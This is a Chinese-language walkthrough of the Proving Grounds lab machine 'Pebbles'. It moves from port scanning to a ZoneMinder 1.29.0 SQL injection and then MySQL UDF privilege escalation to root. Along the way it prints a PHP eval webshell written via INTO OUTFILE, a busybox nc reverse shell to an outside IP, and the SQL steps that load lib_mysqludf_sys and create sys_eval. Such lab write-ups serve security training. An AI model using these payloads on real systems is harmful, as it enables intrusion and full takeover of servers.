当前位置: 首页 > news >正文

PG靶机 - Pebbles

一、初步侦察与立足点获取

1.1 端口探测与服务识别

首先对目标进行全端口扫描,结果显示开放了 21 (FTP)、22 (SSH)、80 (HTTP)、3305 (HTTP) 和 8080 (HTTP) 等端口。

sudo nmap 192.168.186.52 -p- --min-rate=5000 -A

1.2 Web 服务探索

对扫描到的 Web 服务逐一进行排查。80 端口是一个登录页面,经过简单的弱口令尝试后宣告失败。

3305 和 8080 端口分别是 Apache 和 Tomcat 的默认欢迎页,并未发现有价值的信息。

1.3 目录爆破与应用发现 (ZoneMinder)

初步的目录扫描未能发现任何隐藏路径。

dirsearch -u http://192.168.186.52 -x 404

更换更强大的字典和工具进行深度爆破,成功发现了一个名为 zm 的目录。

feroxbuster -u http://192.168.186.52/

访问该目录,页面显示这是一个名为 ZoneMinder 的监控应用,版本号为 1.29.0。

1.4 漏洞识别与初始 Shell 获取 (SQL 注入)

针对 ZoneMinder v1.29.0 进行漏洞检索,发现存在一个已知的 SQL 注入漏洞。

经过验证,该漏洞确实存在,并且支持堆叠注入,这为我们执行任意 SQL 语句提供了可能。

利用堆叠注入和 INTO OUTFILE 语句,我们尝试向 Web 根目录 /var/www/html/ 写入一个 PHP Webshell。

select '<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/shell.php'

访问写入的 shell.php 文件并执行 whoami 命令,成功返回 www-data 用户,证明 webshell 已成功部署。

随即通过 Webshell 执行反弹 Shell 命令,成功获得了一个交互式 Shell。

busybox nc 192.168.45.250 22 -e /bin/bash


二、权限提升与 ROOT 权限获取

2.1 信息收集与提权路径分析

在获取初始 Shell 后,进行信息收集。一个关键的发现是,MySQL 服务是以 root 权限运行的。结合我们已有的堆叠注入能力,通过 MySQL UDF (User-Defined Function) 提权成为了一条可以尝试的路径。

2.2 UDF 提权与最终控制

首先,我们需要一个用于执行系统命令的 UDF 动态链接库。Sqlmap 自带的库是一个不错的选择,位于 /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_。该文件经过编码,需要使用 sqlmap 提供的 cloak.py 脚本进行解码。

python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i ~/lib_mysqludf_sys.so_ -o udf.so

接下来,将解码后的 udf.so 文件上传到目标服务器的 /tmp 目录下。由于 www-data 用户对 MySQL 的插件目录 /usr/lib/mysql/plugin/ 没有写权限,我们再次利用 SQL 注入,通过 load_filedumpfile 将 UDF 文件写入指定位置。

通过堆叠注入,依次执行以下 SQL 语句,完成 UDF 文件的加载并创建自定义函数 sys_eval

create table xdd(line blob);
insert into xdd values(load_file('/tmp/udf.so'));
select * from xdd into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function sys_eval returns string soname 'udf.so';

函数创建成功后,调用 sys_eval 执行反弹 Shell 命令。

select sys_eval('busybox nc 192.168.45.250 22 -e /bin/bash');

在本地监听端口成功接收到回连,获取的 Shell 权限已是 root,提权成功。

http://www.xdnf.cn/news/1326817.html

相关文章:

  • 瑞萨e2studio:HardwareDebug配置项详解
  • 主从切换是怎么保证数据一致的?从库为什么会延迟
  • ReLens「Focus DSLR 大光圈虚化相机」v4.1.2 f 解锁付款版 —一款专业大光圈和单反级背景虚化编辑软件
  • 如何将任意文件一键转为PDF?
  • 计算机大数据毕业设计推荐:基于Spark的气候疾病传播可视化分析系统【Hadoop、python、spark】
  • AJAX (一)
  • F003疫情传染病数据可视化vue+flask+mysql
  • JavaSSM框架从入门到精通!第二天(MyBatis(一))!
  • flink+clinkhouse安装部署
  • 当GitHub宕机时,我们如何协作
  • Netty内存池中ChunkList详解
  • 决策树算法学习笔记
  • 设计模式笔记_行为型_解释器模式
  • 技术分享:跨域问题的由来与解决
  • 关于诸多编程语言类型介绍
  • AP6275S AMPAK正基WiFi6模块方案与应用
  • 链表-2.两数相加-力扣(LeetCode)
  • 中科米堆CASAIM自动化三维测量设备测量汽车壳体直径尺寸
  • 丝杆支撑座在自动化生产线中的关键支撑
  • Java -- 用户线程和守护线程--线程同步机制
  • ios使用saveVideoToPhotosAlbum 保存视频失败提示 invalid video
  • oracle官网下载jdk历史版本,jdk历史版本下载
  • 小程序开发APP
  • 应用控制技术、内容审计技术、AAA服务器技术
  • STL——string的使用(快速入门详细)
  • 可靠性测试:软件稳定性的守护者
  • Flink Stream API - 源码二开详细实现
  • 低延迟、跨平台与可控性:直播SDK的模块化价值解析
  • 基于 PyTorch 模型训练优化、FastAPI 跨域配置与 Vue 响应式交互的手写数字识别
  • 微服务架构的演进:从 Spring Cloud Netflix 到云原生新生态